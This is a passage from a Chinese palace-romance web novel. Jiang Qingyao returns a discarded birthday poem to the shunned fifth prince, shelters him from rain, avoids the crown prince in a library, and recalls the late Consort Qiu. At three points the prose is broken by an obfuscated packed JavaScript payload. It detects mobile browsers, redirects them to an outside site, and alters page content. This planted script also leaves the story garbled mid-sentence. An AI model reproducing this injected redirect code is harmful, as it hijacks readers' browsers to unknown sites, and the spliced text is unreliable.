姜清窈刚将纸卷藏进袖中,便听见一阵脚步声由远及近。她抬眼,见一个高大清瘦的黑影正低着头,似乎在寻找什么。 隔着冷冷夜色,她听见他急促的呼吸声,透着万分焦急。 一轮银白的月浮上夜空,稀薄的月光投在地上,映出两个逐渐靠近、融在一处的人影。那黑影一步步接近,看见地面上自己的影子悄然与旁人重叠,不禁霍然抬头。 两人的目光撞在一处。姜清窈口唇微动,正欲开口,却见谢怀琤很快转开了目光,抬步避开了自己,从身畔擦肩而过。 他继续低着头,微微弯着腰找着什么,神色虽是惯常的平淡,但眼底却不由自主泄出一丝焦急。 姜清窈意识到他在找什么。她心头一叹,轻声道:“五殿下,你是在找这个吗?” 谢怀琤顿住步伐,背影一僵,随即缓缓转过身来。 莹白的月光映衬下,少女向着他伸出手。方才被他一时激愤揉搓成团扔下的写着贺寿诗的纸张,此刻正静静躺在她手心里,甚至连那根和他本人一样破旧的、无人会多看一眼的红绳也被妥帖系在了纸卷外。原本皱巴巴的纸张被她抚平,一切都如最初一样,仿佛是他刚刚写完贺寿诗后,小心系好收进衣袖里的模样。 她的手指微微蜷缩着,弯出一个弧度,将那张纸卷珍重地护在手心。月色下,他甚至看清了白色的纸张表面沾染了些许污泥,她却毫不在意,以一个珍惜的手势,将它原原本本地递给了自己。 他眼底忽觉发酸,情不自禁低了低头,却正巧看见她裙裾之上系着的宫绦。那熟悉的花色和样式让他登时愣住,潮水般的旧忆顷刻间涌入脑海,激荡起连绵不绝的情绪。 谢怀琤喉头轻微一哽,许久不曾言语。夜风拂过她的鬓发,扬起几缕乌油油的青丝,在风中摇曳着,飞扬着。他的心里仿佛也吹起了一阵狂风,有什么细碎的心思蔓延开来,如离离原上草一般肆意疯长,扰得他心尖发涩。 难言的沉默在两人之间横亘。姜清窈等了许久,却不见他的反应,便又向前了一步,柔声道:“五殿下,方才我无意间拾到了此物,想来应当是你的。” “我记得你一向爱惜自己的字作,便想着暂且收好,待来日还你。不想你就在此处,正是巧合了。” “请殿下收好吧,”她顿了顿,道,“即便......它没能在今晚的万寿宴上得到赏识,但也是你的心血。若是草草舍弃,岂不是可惜了?” 不知过了多久,姜清窈终于看见谢怀琤眸光动了动,缓缓抬起头来。 他慢慢伸出手,眼见便要接过那纸卷。 姜清窈松了口气,正要再递过去一些,却陡然愣住。 少年迈步行至她身前,两人顷刻间呼吸相闻。他的手心滚烫,带着迫人的热度和力度,隔着衣袖牢牢地、不由分说攥住了她的手腕。 23. 撑伞 那骨节分明的手牢牢攥住她的腕子,力道却并不大,不至于握痛她。即便如此,姜清窈还是有些惊愕,下意思挣了挣,不想他察觉到她的抗拒,愈发用了些力,甚至带着她的身子都情不自禁向他的方向踉跄了一步。 她仰头,险些撞在他下颌处。夜色浮动,唯有那月光透过枝桠投下的稀疏的影子在两人脚边不断摇晃。姜清窈有些辨不清他的神色,只清晰地听见眼前人沉沉的呼吸声。 “五殿下,你——”她双颊浮起一阵热意,一路蔓延攀上了耳廓。这样亲密的距离,他握住自己手腕的动作,总让姜清窈想起那日在山洞之中,谢怀琤也是这般救了自己。她唇角擦过他掌心的触感真切得仿佛就在昨日。 姜清窈的心狂跳了起来,正欲问他此举意欲何为,却冷不防听见谢怀琤沉沉出声:“......为什么?” 她一怔,一时间没有反应过来他所说的是何事。 谢怀琤没有等到她的回答,又问了一遍:“为什么?”他的语气低沉,隐约藏着脆弱和痛楚,尾音则流露出一股茫然无措。 “......什么?”姜清窈怔怔反问。 谢怀琤低眸看她,却又在即将对上她目光时仓促转开,只定定瞧着一旁婆娑的树影:“......为什么要一而再、再而三地走近我?” 姜清窈胸口一窒,沉默半晌,低声道:“因为——” “你明明知道,我如今是多么狼狈窘迫。凡是与我有着千丝万缕关系的人,都会同我一样被人厌弃,被人冷待,”谢怀琤语气平淡,仿佛在说旁人的事情,“而你,家世不俗,深得圣宠,怎么看都不该同我这样的人再有所接触。” 她心尖一颤,轻轻开口:“我们自小一起长大,即便如今境况有所变化,可你还是......还是那个五殿下。” “不,”谢怀琤冷冷勾起唇角,扯出一抹讽刺的笑,“我早已不是从前的那个谢怀琤了。若你试图在我身上找到从前的影子,只怕要让你失望了。” “这么多年过去,前尘往事我俱已忘却,我不会再是从前那个无忧无虑的少年了,”他自嘲般冷哼了一声,“想来是姜姑娘远离宫闱多年,偏生又太过念旧,才会错认了我吧。” “你明明有那样不俗的出身和家世,不该同我这样的污泥搅和在一处,”谢怀琤目视着她,“如今,人人都可随意践踏我,欺侮我,我苟延残喘才活到今日。我与你,注定是两路人。你若是再抱着不切实际的想法,试图在我身上找到旧日的影子,那么于你而言,百害而无一利。” 他顿了顿,语气变得嘲讽:“姜姑娘聪慧伶俐,自然知道该如何审时度势,不再做出那些愚蠢之举了吧?先前你相助我的人情我也已还清,你我往后再无瓜葛。” 话音一落,谢怀琤很快松开了对姜清窈的桎梏,语气恢复到先前的漠然:“方才是我失礼了,姜姑娘莫怪。往后,还请姑娘当我是生人,再不要轻易靠近了。” 他一低头,看见少女手中握住的纸卷,便伸手轻轻夺了过来,淡淡道:“多谢。” 少女沉默半晌,问道:“从前的事情,殿下都忘了吗?” 谢怀琤喉头酸涩,面上却丝毫不显,语气生硬道:“我说过,所有往事我都已经忘了。” 他不敢去看姜清窈的神色,说完这话后转身就走,然而刚迈出几步,却听见身后少女的声音响起,在一片寂静中显得格外清晰,柔和却又带着坚定的意味:“殿下方才说得不对。” 他步伐一顿,缓缓站定转过身来,有些不可置信地看向她。 姜清窈再度走近他,抬头望着他的眼睛,说道:“你说,你如今已不是从前的那个谢怀琤,是吗?” 她用这样又轻又柔的语调念着他的名字,谢怀琤的心陡然乱了跳动,好一阵慌乱,片刻后才定下神来:“是。” “可我不这样觉得,”姜清窈道,“不论是现下的五殿下,还是从前的五殿下,即便经历了不同的事情,身处不同的境遇,可不变的还有很多很多。” “我一直记得,昔日与我日日一同在萤雪殿念书的那个小小少年,会为了书上一句不通的文辞而百般思索,会为了怎么也无法射中的箭矢而倔强地练习,即便掌心磨出血泡也不肯放下弓箭。”姜清窈慢慢地说道。 谢怀琤眼底掠过一丝愣怔,很快被无边的冷意覆盖。他冷冷道:“那又如何?如今的我,不会再这样了。” 一阵寒风吹刮,方才还高悬天幕的月亮瞬息间被乌云盖住,天地间变得墨黑一片,愈发让人冷得发抖。姜清窈轻轻战栗了一下,却依然没有离开。 “姑娘,这天怕是要下雨了,不如早些回去吧。”侍立在远处的微云捧着伞走上前来,低声道。 她话音刚落,豆大的雨珠便砸了下来。微云慌忙撑起伞,姜清窈的鬓发略有些湿意,然而谢怀琤却直直地伫立在雨幕之中,一动不动,衣衫袍袖很快被风雨彻底浸湿,他却好似感觉不到冷意。 “你去那边的亭子等我。”姜清窈低声吩咐微云。 微云心细,随身携带了两把伞,闻言便撑起另一把伞退了开去。姜清窈握着伞柄,望着谢怀琤,道:“我知道殿下这些年经历了许多事,才会落到如今的地步。可那一切都不是你的过错,你不该用......那些阴差阳错的意外折磨自己。” 谢怀琤的眉眼沾满了水珠,他怔怔抬头,耳边回荡着那句话:“那一切都不是你的过错。” 曾几何时,有人指着他连声咒骂:“你有今日,皆是你自作自受!” “若不是你曾经那般肆意妄为,又怎会连累你的母妃?” “你今日被厌弃,便是拜你幼时种种行为所赐!” “若不是为了你,你母妃怎会落得那般田地?” 这般言语曾让他夜夜噩梦缠身,万分愧悔,觉得自己的存在是一个天大的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我只是......希望你好好活着。”姜清窈沉默半晌,低声道。 这句话让谢怀琤面上神情猛然一凝。许久,他唇角轻扯,语气满是不在乎:“我本就是孤身一人,是生是死无人会在意。这些年,我早已习惯了。往后,你实在不必同我有任何牵扯。” “便如今日这场雨,”谢怀琤转过身去看向深浓的夜色,“我本就该淋雨,而你不同。” 最后一句话被密密的雨声盖过,只余下他略沉重的呼吸声。谢怀琤没有听见姜清窈的声音,想着她一定是走了,便自嘲一笑,抬步便欲离开。 然而刚迈出一步,他忽觉得耳边一静,那连绵不绝的雨帘被悄然隔绝开在他身畔,原本浸入骨髓的湿冷仿佛也随之被温热的呼吸笼罩覆盖。 原本吵嚷的四周仿佛都离他远去了,独独能听见少女清浅的呼吸。谢怀琤身子微微一僵,缓缓抬眼。 他的头顶原本该是漆黑的、凄冷的夜幕,然而谢怀琤目光所及之处,却是一把伞。 ——为他挡住了漫天风雨。 24. 书阁 “殿下已经在雨中踽踽独行了许久,如今也该为自己撑一把伞了。”她的声音不知不觉盖过了细密的雨声,“今夜雨急,然而终于雨散云收、日光初盛的那一日。” 谢怀琤的身子微微一僵。他抬头,看着那漫无边际的漆黑夜幕。那浓墨般的颜色一如既往,仿佛看不见尽头,可她却说,总有云开雨霁的时候。 那么,他也可以看见晴光正好的景色吗? “夜寒雨凉,殿下早些回去吧。”姜清窈将伞往他的方向又递了递,见谢怀琤始终不作声,便弯下腰将伞轻轻搁在了地上,随即转身离开。 不知过了多久,谢怀琤垂眸,见那把纤细单薄的伞寒风吹刮得摇摇晃晃,眼看便要被吹走。他如梦初醒,忙伸手把伞柄牢牢握在了手里。 那是把宫中最常见的伞,似乎还留着她手心的余温。谢怀琤慢慢收拢手指,望向她离去的方向。 有什么难言而疯狂的妄念在心底慢慢滋长,进而燃起了一把火,渐成燎原之势。 许久,他忽然扬起唇,露出一抹淡淡的笑。 那边,姜清窈回到大殿内,歌舞依旧在上演。她在自己的食案后坐下,呵了呵冰冷的手,又斟了一小盏酒暖暖身子,这才将目光重新落在翩翩起舞的宫女们身上。 偶然侧眸间隙,她却发觉对面的太子坐席空无一人,不觉微微一愣。尚未去细想,乐声淡去,舞者们齐整退下。皇后起身举杯,领着众人一起向皇帝敬酒,意味着今晚的万寿宴便会就此结束。 恰在此时,太子谢怀衍快步返回席上,不动声色跟上了众人的动作,自然也没有引起皇帝的注意。姜清窈心头有些莫名的不安,奈何四周热闹鼎沸,她只好按捺住思绪,端起笑容向皇帝贺寿。 宴席散后,姜清窈随母亲出宫回府。皇后因要处理万寿宴后的种种琐事,同时陪伴酒醉的皇帝,便命太子和谢瑶音替自己送一送她们。 谢瑶音满脸不舍:“窈窈,你何时再进宫?若是你不在,我只怕都打不起精神上学了。” 姜清窈轻轻捏了捏她的脸颊:“过些时日。” 那边太子正彬彬有礼地同秦瑜容寒暄,礼数周到,丝毫没有摆出东宫储君的架子。秦瑜容含笑说了几句,便提出了告辞,同时唤道:“窈窈,该出宫了。” 姜清窈晃了晃被谢瑶音牵住的手,笑道:“好了阿瑶,你早些回去歇息吧。” 待谢瑶音松开手,她又走到了谢怀衍面前,屈膝见礼:“多谢太子殿下送我与母亲,请殿下留步吧。” “表妹客气,”谢怀衍望着她,面上带笑,“待来日再度入宫时再相见吧。” 姜清窈颔首,转身便同母亲并肩向着出宫的路走去。 谢怀衍站在原地,目送着那道身影,这才面色如常看向谢瑶音,道:“阿瑶,你也该回去了。” 谢瑶音踮起脚尖,依依不舍地看着,喃喃道:“不知窈窈何时才能再入宫,我还想同她商量如何。” 谢怀衍浓眉轻拢,笑道:“安心吧,想来母后过些时日就会重新传表妹入宫了。” 他说着,目光变得悠长而若有所思。 * 万寿过后,姜清窈又回家中住了些时日,便又再度入宫,免得耽搁了萤雪殿的课业。不过令她欣喜的是,皇帝已然下了明旨,准许姜氏父子在京中过年,让他们一家人团聚。 距离新年已然不剩几日,一直在宫外吃斋念佛的皇太后终于起驾回宫了。她回宫第二日,后宫众人便前去请安拜见,热闹了大半日。后来还是皇后看出太后面有疲态,这才带着妃嫔们告退。 皇太后回宫,最高兴的自然是谢瑶音。她原本便是最得太后疼爱的小辈,如今更是日日都要前去陪太后说笑逗趣。 这一日,宫中的几位皇子公主纷纷前来请安。淳安宫中,太后斜倚在身后的软枕上,含着慈爱的笑听谢瑶音说着这些时日的种种故事。 姜清窈坐在下首,借着端茶的动作,抬袖遮掩了视线,悄悄瞥了眼对面。太后一向宽和慈祥,不似皇帝那般阴晴不定,也并不会因那些往事而对孙辈们冷眼相待。想来如今的宫中,除了长信宫,便只有淳安宫能容得下谢怀琤了。 只可惜,今日谢怀琤却没能出现在这里。听宫人说,五殿下染了风寒病倒了,唯恐过了病气,便没能前来向太后请安。 她想起那日漫天风雨中那道伶仃的身影,心不自觉地轻微一揪。不知他怎样了? 姜清窈正垂眸出身,却忽然感到似乎有道视线时不时落在自己身上。她借着端茶的动作,衣袖轻拂,遮住了视线,眼波一转,正好看清了太子谢怀衍的眼神。那双素来温和的眸子正望着自己,隐约透出一股微弱的压迫感。 这样的谢怀衍让姜清窈觉得陌生。她慌忙错开目光,低垂眼睫,心中却有些莫名的一样。自打再度入宫后,她总觉得这位表兄的态度比之从前有了很大改变。 从前谢怀衍待她亲近不足,疏离有余,不过是面子上的礼数过得去罢了。除去偶尔碰上时的客套关怀,他从不会多说一句话。可如今,他的眼神却比从前多了些深意,姜清窈恍然觉得,自己的一举一动都被他尽收眼底。可他这般注视,究竟是为了什么? 姜清窈正心乱如麻时,却见谢怀衍起身笑道:“皇祖母,孙儿有些要事需要处理,晌午过后再来陪您叙话。” 太后笑道:“好孩子,快去吧。”她又看向余下几人,慈祥笑道:“不必时时拘在我这儿,若是要念书或是玩耍,尽管去便是。” 见太后似有些疲倦了,谢如婉等几人又略坐了坐,便各自起身告退。最后,便只剩下谢瑶音和姜清窈。 太后知晓她们一向亲近,倒也不惊讶,只看向谢瑶音道:“怎么,有话想单独同皇祖母说?” 谢瑶音依偎在太后身前,笑道:“皇祖母分□□眼如炬,方才怎么还说自己眼花了呢?” 太后掌不住笑了,轻轻在她额头敲了一记道:“你这孩子惯会哄我开心。说罢,有何事不敢惊动你父皇,倒要来求我了?” 说起正事,谢瑶音的面色严肃了几分。她与姜清窈对视了一眼,犹豫半晌,才低声道:“皇祖母,先前有一日,我和窈窈曾在宫中遇见六弟正派人对五皇兄拳打脚踢,让他受了伤,养了好些时日才能勉强下地行走。” 太后笑容一凝:“竟有这样的事?” 谢瑶音点头:“六弟实在顽劣,我便训斥了他几句。然而他的性子,皇祖母不是不知道,必是不会改的。我瞧着五皇兄实在可怜,可父皇又三令五申不准任何人替他求情。” 她见太后面上似有不忍,便又道:“皇祖母,再过几日便是年节了,又是冬日,只怕五皇兄的日子会越发难过。” 太后眉间皱起深深的痕迹:“那孩子当真如此凄惨吗?” 谢瑶音担心太后不信,便向着姜清窈使了个眼色,道:“我与窈窈亲眼所见,皇祖母,不如您问问她?” 姜清窈对上太后的目光,福了福身子,轻声将先前的事情说了。 听了两人的话,太后陷入了沉默。 谢瑶音小心翼翼问道:“皇祖母,五皇兄究竟犯了什么错?” 许久,太后长叹一声,摇头道:“这孩子是无辜的,他不曾犯什么错,只可惜......” 话至此处,太后却闭口不答,只道:“其中内情,你们小孩子家不懂,就不要多问了。至于这孩子,我会想法子令人去看顾,总不能让他身为皇子却过得犹如宫外乞儿一般。” 谢瑶音松了口气,转头悄悄向姜清窈道:“窈窈,放心吧,想来五皇兄往后的日子会好过许多。” 两人从太后宫中告辞出来,沿着宫道慢慢走回去。姜清窈低头发觉裙上的宫绦有些歪扭,便伸手抚平。谢瑶音偶一低头,不由得道:“窈窈,这宫绦很是衬你的衣裳,不知是何人所做?” 姜清窈道:“这是从前母亲给我的,说是一位长辈所做。我瞧着样式精巧,便时常佩戴。” “长辈?”谢瑶音疑惑出声,“哪一位长辈?” 姜清窈摇头:“母亲不曾说过。那时我光顾着过生辰,也没有多问,便当作寻常礼物收下了。”她低头抚了抚,道:“和这宫绦一起的还有一块玉佩,只不过我今日不曾佩在身上。” 谢瑶音若有所思:“想来是与舅母交好的长辈或是从前旧友吧。只是我忽然想起,从前秋妃娘娘......极擅针线刺绣,给我们都缝制过各种各样的小玩意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13656200|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 譬如香囊、荷包等等。” 此话一出,姜清窈情不自禁有些怅惘:“我记得,从前我看秋妃娘身上佩着的香袋精巧可爱,虽未明说,只是多看了几眼,她便说要替我缝制一个。只是......尚未做成,她便已经故去了。” 提及往事,两人不约而同沉默了下去。许久,谢瑶音轻叹一声道:“窈窈,我们回去吧。” * 午后,萤雪殿。 今日散学得早,谢瑶音显得格外意兴阑珊,同姜清窈道:“窈窈,皇兄他们这个时辰应当在演武场,我想去松松筋骨,你去吗?” 姜清窈略微迟疑了一下,摇了摇头道:“我心中总想着方才夫子说的那篇文章,想去致远阁翻阅几卷古书,便不去了。” 谢瑶音噗嗤笑道:“窈窈,你再这般钻研下去,怕是要状元及第了。既然如此,那我便独自去了。” 她说着,便起身离开。姜清窈笑着目送她走远,一转头却见四公主谢凝玉神情怔忡地坐在原处,望着谢瑶音离去的背影,低低唤了声“二姐姐”。 那声呼唤太过轻,谢瑶音自然是没有听清的。谢凝玉面上掠过一丝懊恼,低头无措地搓弄着衣角。 “四公主有何事?若是要紧,我这就命人去请二公主回来吧。”姜清窈问道。 谢凝玉迟疑片刻,道:“我没有......我只是想同二姐姐说几句话。既然她已走了,那我便待来日再说吧。” 今日谢如婉和傅宝吟似乎有什么话要单独说,因而早早便走了,并未像往日那样叫上谢凝玉一起。姜清窈略一沉吟,看着她挣扎犹疑的神色,试探着问道:“四公主是想练习骑术吗?” 谢凝玉霍地睁大眼睛,先是摇了摇头,最终却还是轻声道:“那日我原不是成心想要驳了二姐姐的,这几日常觉得后悔,想当面向二姐姐赔个不是。若是她不恼,还愿意教我,我定会好生跟着她学的。” 少女的声音细细柔柔的,姜清窈心中叹息,便含笑道:“四公主,阿瑶她不会计较这些小事的。你若是想学,直说便是。若是阿瑶她不得空,你不嫌弃,我也可以。” 谢凝玉连忙摇头:“姜姐姐这是哪里的话。你出身将门,骑术自然是一等一的好。若你肯教我,我感激得紧。” “这会子阿瑶应当在演武场,四公主若是想学,可以直接去。我今日想去致远阁找几册书,怕是不得空。”姜清窈有些歉意地笑了笑。 “多谢姜姐姐告知。”谢凝玉向着她道了谢,便带着宫女离开了萤雪殿。 姜清窈则去了致远阁。 致远阁取自“宁静致远”,是宫中一处藏书阁,也是专供萤雪殿众人查阅典籍、翻找古书的地方,平日少有人来。姜清窈自正门进去,发觉几个守门的宫人正倚在门槛边昏昏欲睡,另几个负责洒扫的宫人也不知去向。她便放轻了步子,沿着木梯上了二楼,循着记忆里的位置去找自己想要的书。 沿着高大的书架走了几圈,姜清窈如愿找到了书。她翻开书,看得正出神,鼻间忽然嗅到一股极淡的清苦药香,心中一动,下意识抬眼看去。 “......”谢怀琤抿紧唇,一言不发自她身畔走过,沉默地走向里间。 自那日雨中一别,今日是两人头一次见面。不知为何,姜清窈觉得心口有些发急,呼吸也禁不住略重了几分。她转头看向谢怀琤,却见他面色尚好,倒没什么病容。 里间窗边设有一张小小的书案,谢怀琤熟门熟路地走过去坐下,开始慢慢翻动着一卷发黄的古书,神情专注,看起来似乎是这藏书阁的常客。轻软的阳光自窗外透入,在他周身镀上一层橘色的光华。随着他的动作,姜清窈看见许多细小的飞尘在四周安静飞舞。她见状,便没出声,亦安静地看着自己的书。 两人就这样各自待在一处。不知过了多久,姜清窈放下书,稍加思索,又提步向另一旁的书柜走去。 她打量着书架上磊着的书,抬手便欲取其中一本。 不防一只手恰巧也从旁边探了过来。两只手同时触碰到了那卷书的封面,姜清窈只觉得手指处微凉,却是轻轻碰上了谢怀琤的指尖。 有细微的酥麻感自手指处蔓延开来,带来一丝隐秘的热意。 25. 除夕 姜清窈看向谢怀琤,对方眸色浅淡,见状便很快收回了手。 “殿下也想看这本书吗?”她拿起书,偏头问道。 谢怀琤喉头轻微一动,淡淡道:“你看便是。” 姜清窈低头看向书册,这是一本前代大家的文集。她随意翻了几页,忽然忆起些往事。 昔日在翠微堂外,她无意间看见谢怀琤正聚精会神看着这位作者的文章,想来他很喜欢此文。 心中泛起莫名的情绪,姜清窈将书递了过去,道:“殿下若是喜欢,便请看吧。” 谢怀琤没有接,只重复了一遍:“你看便是。” 姜清窈只好收回手,握紧了书脊。她看着谢怀琤复又回到了书案旁,便问道:“殿下经常在这儿看书吗?” 谢怀琤翻动书页的手指轻微一顿。他旋即点头道:“是。” 片刻后,他又淡淡道:“师傅曾嘱咐过这藏书阁的管事,准我长久待在此处看书。” 姜清窈愣了愣,喃喃道:“师傅......” “林老先生。”他似乎明白她的疑问,出言解释道。 宣朝诸位皇子念书进学,每门功课都各有大儒进行讲学。除此之外,皇子们还有位开蒙师傅,在讲学之外针对他们各自的困惑与问题进行解答。而林老先生便是被各位皇子都尊称一句师傅的人。 林老先生本名林穹,是已致仕的老臣,因德高望重又被破例延请回来。他门生众多,遍布朝野,名副其实的“桃李满天下”。他的学识、人品皆是极好的,因此深受皇子们敬重。 自然,这样一位声望极高的老先生自然不会因为天子的态度便对一位勤勉好学的皇子有所偏见。因此,即便谢怀琤再不受宫中其他人待见,林穹也从不曾对他有过冷眼。 姜清窈心中一宽。好在谢怀琤身边还有这样的长辈,让他的日子能不那么艰难。她摩挲着书封,见谢怀琤已然垂首继续看起了书,便起身准备往外间走。 忽然,楼下传来宫人们的声音:“参见太子殿下!” 紧接着,熟悉的声音响起:“这个时辰,致远阁有旁人在吗?” 她足尖一顿,便停在了原地。 来者正是太子谢怀衍。众人显然没料到尊贵的太子殿下会突然兴起来到这藏书阁,一时间都有些慌乱。 面对谢怀衍的问话,宫人有些惶恐,结结巴巴道:“回太子殿下,今日......” 姜清窈竭力放轻了呼吸,一颗心怦怦直跳,整个人隐在林立的书架后没有出声。不知为何,她并不想在此刻现身,更不想与太子打上照面。 或许是因为这几日太子那耐人寻味的眼神,或许是因为他有意无意向她投过来的目光,都令姜清窈觉得坐立难安。她不明白,短短这些时日,太子为何会忽然改了态度和模样。他究竟有什么目的? 思绪纷乱,交织在心头,绵延出一点烦躁。耳听着宫人便要将实情说出口,姜清窈恍然间觉得仿佛回到了那日在山洞旁的时候。一墙之隔,便是莫名的压迫感,她的呼吸禁不住快了几分。 里间,谢怀琤放下一册书,抬头看了她一眼,眸光晦暗难明。 眼看着躲不掉这碰面,姜清窈无奈地闭了闭眼,正欲现身,却有人先她一步迈步出去,沿着阁楼的木梯走了下去,开口道:“见过皇兄。” 书阁内似乎静默了一瞬。谢怀衍显然有些意外:“五弟?” 片刻,他的声音又恢复了惯常的温和:“没想到在这里见到五弟。” 谢怀琤的步伐略重,踏在木梯上,发出沉闷的咯吱声。他道:“方才不曾留神皇兄到来,是臣弟失礼了。” “你我兄弟,何必说这般生分的话。我倒忘了,林师傅曾亲口允准五弟可随意出入这藏书阁,”谢怀衍的语气带着笑,但却有些意味深长,“五弟一向勤学,当为众兄弟之楷模。” “皇兄言重了,”谢怀琤道,“不过是今日散学后来此翻找几本旧书罢了。” 谢怀衍又问候了他几句:“五弟这几日可还好?我记得先前你似乎还有些旧伤。” “多谢皇兄关怀,我一切安好。”不知为何,谢怀琤的声音比之方才更冷了几分。 谢怀衍毫不在意这个弟弟的态度,道:“五弟,我知道前几日父皇寿宴之上,你心中多有委屈。但父皇毕竟是君父,是长辈,你也该多体谅才是,莫要任性,让父皇为你分心烦忧。” 他轻描淡写几句话,将当日所有的变故缘由都推到了谢怀琤身上,更是不由分说认定谢怀琤必因当日之事而心有波澜。若是谢怀琤真的表现出了一丝一毫的委屈,只怕要被人指责不敬君父了。 往日,谢怀琤对这般看似关切实则暗藏机锋的话从来都是置若罔闻,毫不在意,更不会多加申辩,并不在意有些话会如何变本加厉地传出去,再落入皇帝耳中。正因如此,皇帝对他的厌恶才会与日俱增。 姜清窈在暗处听着,忍不住皱起了眉头。她记得,从前谢怀衍对谢瑶音说的话并非如此。那时的他俨然一位体恤弟妹的好兄长,还答应了会在皇帝面前为谢怀琤美言几句。如今看来,那不过是几句空话罢了。 这位在旁人眼中无可指摘的太子,似乎并非像他表现出来的那一面一样温润心慈。 她默默垂首,暗叹一声。 出乎意料的,谢怀琤沉默片刻,缓缓开口道:“皇兄此言差矣,我何来委屈?” 他平静道:“原是我冒失无礼,才会在万寿宴上惹恼了父皇,才会今日在此处静思己过。父皇成日操心国事,本就辛苦,是我思虑不周,才会打搅了万寿宴。” 谢怀衍愣怔了片刻,很快笑道:“五弟能如此想,便是没有辜负父皇的一片苦心了。” 几番对话下来,谢怀衍察觉到今日的谢怀琤较平日多了些锋芒。他顿时没了虚与委蛇的兴致,又关怀了几句,便转身离开了。 姜清窈听见他的脚步声远去,这才慢慢从昏暗之中走入光明,低眸看向书阁楼下。 先前侍候的宫人亦被遣散了。谢怀琤立在书阁门口,抬眼看了过来。两人目光轻微一触,旋即分离。 “方才多谢五殿下周旋。”姜清窈步下阶梯,站在他身后轻声道。 谢怀琤没有回头,无甚波澜道:“你不必多想。不过是几句最寻常的话,何来周旋?”说罢,他不等姜清窈反应,便离开了。 姜清窈望着他的背影出了会神,便也很快离开了致远阁。 * 待她回到永安宫时,谢瑶音恰好也自演武场回来了。 “阿瑶,姑母正好差人送了点心,来尝尝吧。”姜清窈向着她招了招手。 谢瑶音在炕沿坐下,心不在焉地拿起一块点心咀嚼着。 “怎么了?”姜清窈问道。 她咽下点心,迟疑道:“今日,四妹妹去了演武场见我,说是特意来赔罪的。” “四公主同我说过,那日拒绝你的好意实属无奈,”姜清窈道,“我便宽慰了她几句。” 谢瑶音颔首:“四妹妹也是这般说的。我自然不会介怀,便问她要不要同我一道练骑术。” “四妹妹答应了,我便引她上马,向她说起如何控制缰绳,如何夹马腹。四妹妹看着沉默寡言,其实很是聪慧。只是尚未学多少时辰,怡嫔娘娘宫中的人便来了,说是传娘娘的话,请四妹妹尽快回宫去。” 谢瑶音说着,又叹道:“我晓得为何上回四妹妹会拒绝了,想来是怡嫔娘娘不准她每日在演武场耽搁,只希望她多读些诗书学些女红,像三妹妹那样。” 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13678412|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起怡嫔,姜清窈微蹙眉,道:“我记得,怡嫔娘娘似乎是江南人?” 谢瑶音哼了一声道:“她是在秋妃娘娘之后入宫的,因她二人都来自江南,因而交好。怡嫔初入宫时位分低,常被那些势利眼的宫人克扣份例,秋娘娘心慈,得知后多次命人接济她。那时母后常病卧在床,宫中琐事都交由贵妃打理。贵妃对此事视而不见,从未因此管教过那些下人。自始至终,都是秋娘娘在帮着怡嫔。可秋娘娘去后,怡嫔反倒与贵妃交好,想来是全然忘了当初的事了。” “我一向看不惯这样见风使舵之人。贵妃从前那般苛待她,她倒好,竟还愿意讨好奉承,唯贵妃之命是从,可真是没有骨气。” 对于那些久远的往事,姜清窈的记忆有些模糊。她一面思索着,一面听谢瑶音道:“秋娘娘入宫前,贵妃最得父皇钟爱。但自打秋娘娘来了,父皇便日渐冷落了她。” “但贵妃却也不曾与秋娘娘有什么过节,甚至在秋娘娘病时还特意向父皇进言,说可以请宫人伶人排演些江南丝竹,再请些秋娘娘家乡的故人前来宽解心绪,兴许秋娘娘便能好转了。父皇依了,还直赞她贤惠。” 姜清窈蹙眉,问道:“秋娘娘何时病的?” 谢瑶音低头想了片刻,低声道:“那场病后,她便日益虚弱,最后更是莫名被父皇厌弃,才会那般凄惨地离世。自那之后,五皇兄的地位也一落千丈。” 不知为何,姜清窈觉得往事细思起来实在蹊跷。在秋妃的那场病中,究竟发生了什么事情,才会让皇帝那般绝情? 她想得正头痛,衣袖被人扯了扯。谢瑶音道:“母后派人传话,说让我们过去用晚膳了。窈窈,咱们走吧。” 姜清窈敛去思绪,点点头。 * 转眼便到了除夕,晚间的家宴自然是热闹非凡。朝内四品以上的官员及其家眷均可入宫,在正华殿正殿及偏殿落座。 姜清窈随母亲坐在下首,静静品着面前的佳酿。殿中央的歌舞年年都无甚区别,看久了实在无趣。一时间,她竟有些想念那日万寿宴满含江南韵味的丝竹之声。 上首,太后慈眉善目端坐其上。帝后分坐两侧,而贵妃则同其他妃嫔一样坐到了下首。歌舞间隙,太后转头同皇帝说了几句话,皇帝颔首,很快又对着内侍总管吩咐了几句。 内监总管高平双掌一拍,朗声道:“太后有赏。” 